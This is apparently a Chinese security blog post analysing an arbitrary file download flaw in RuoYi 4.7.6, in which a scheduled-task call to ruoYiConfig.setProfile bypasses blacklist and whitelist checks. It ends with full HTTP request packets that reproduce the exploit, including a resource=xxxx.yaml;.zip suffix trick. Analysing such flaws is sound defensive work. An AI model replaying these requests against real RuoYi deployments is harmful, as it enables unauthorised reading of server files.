01 起因
前段时间有人爆出若依存在黑白名单绕过的任意文件下载漏洞,在gitee上的issue:
https://gitee.com/y_project/RuoYi/issues/I697Q5
然后某群里有师傅刚好提到这个问题于是就去尝试了一波,结果和自己预想的不一样,后来就针对此漏洞进行相应的分析。
02 文件下载一
1.漏洞复现
因为原来有任意文件下载,我就以为是下面这种,先将文件夹设置为ruoYiConfig的profile属性值:
执行一下定时任务
然后通过在resource字段设置文件名来下载文件,能够成功下载到一部分文件
但是这是有限制的,只能下载几个常见后缀名的文件
2.调试分析
2.1 添加定时任务黑白名单绕过
添加定时任务对应的controller
com.ruoyi.quartz.controller.SysJobController#addSave
在这里定义了多个黑名单,具体如下:
1、不允许存在rmi、ldap、http(s)的字符串,如果存在就返回
2、不允许存在以下字符串
"java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml","org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config"
3、经过黑名单检查后会进入白名单验证
具体的白名单检测如下,先将"("前面的字符串提取出来,然后计算提取出来的的字符串中包含多少个".",如果总数超过1,那就是检测类是否在白名单以内,白名单为com.ruoyi
由于是用的springbean,所以就不会进入上面,而是通过com.ruoyi.common.utils.spring.SpringUtils获取对应的bean,具体的bean如下,通过IDEA即可查看:
获取到bean之后就获取对应的类,查看是否在白名单以内,而ruoYiConfig对应的类就是com.ruoyi下
4、接下来就会进入添加计划任务的服务中
因为在4.6.1以前存在任意文件下载漏洞,具体代码如下
所以修复后的代码就对路径穿越符和后缀名做了检测:
1、进去对请求进行检查,是否包含路径穿越符
2、检查访问后缀名是否在白名单内
3、在白名单内则返回true,之后从com.ruoyi.common.config.RuoYiConfig里面获取profile的值,这个值也就是在创建定时任务的时候设置的,然后从请求的资源路径中取出/profile后面的值,和前面获取的profile进行拼接,构成一个文件路径
4、最终读取文件返回
03 任意文件下载
1.漏洞复现
设置ruoYiConfig的profile
执行刚才设置的任务
任意文件下载
这里只要后缀名在白名单以内即可
2.调试分析
由于上面的方式只能够下载在白名单内的文件,所以发现这个漏洞的人就想办法绕过了白名单限制。
1、首先在设置ruoYiConfig的profile的时候设置的是包含路径名
2、然后在下载文件操作时,只需要保证后缀名满足白名单要求即可,但是不能包括/profile这个字符。
3、当请求被检查完路径穿越符和白名单后缀时会取出资源路径字符串在/profile后面的字符
如果没有/profile字符串,则downloadPath就是ruoYiConfig里面的profile
4、而传入
com.ruoyi.common.utils.file.FileUtils#writeBytes(java.lang.String, java.io.OutputStream)
里面的又直接是downloadPath,这就造成了任意文件下载,不在受白名单的监管。
04 数据包
POST /monitor/job/add HTTP/1.1
Host: 192.168.124.6
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 84
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=0655e330-b04f-4487-8617-715d58f2a82c
Origin: http://192.168.124.6
Referer: http://192.168.124.6/monitor/job
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
X-Requested-With: XMLHttpRequest
createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('xxx/RuoYi/upload/123.txt')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
GET /common/download/resource?resource=xxxx.yaml;.zip HTTP/1.1
Host: 192.168.124.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=0655e330-b04f-4487-8617-715d58f2a82c
Referer: http://192.168.124.6/index
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
POST /monitor/job/add HTTP/1.1
Host: 192.168.124.6
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 84
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=b99110bd-0cb2-44b8-a2e8-880d2082b81d
Origin: http://192.168.124.6
Referer: http://192.168.124.6/monitor/job
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
X-Requested-With: XMLHttpRequest
createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('xxxx/RuoYi/upload')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
GET /common/download/resource?resource=/profile/123.txt HTTP/1.1
Host: 192.168.124.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=b99110bd-0cb2-44b8-a2e8-880d2082b81d
Referer: http://192.168.124.6/index
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
END
原文始发于微信公众号(杂七杂八聊安全):漏洞分析 | 若依4.7.6任意文件下载碎碎念
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论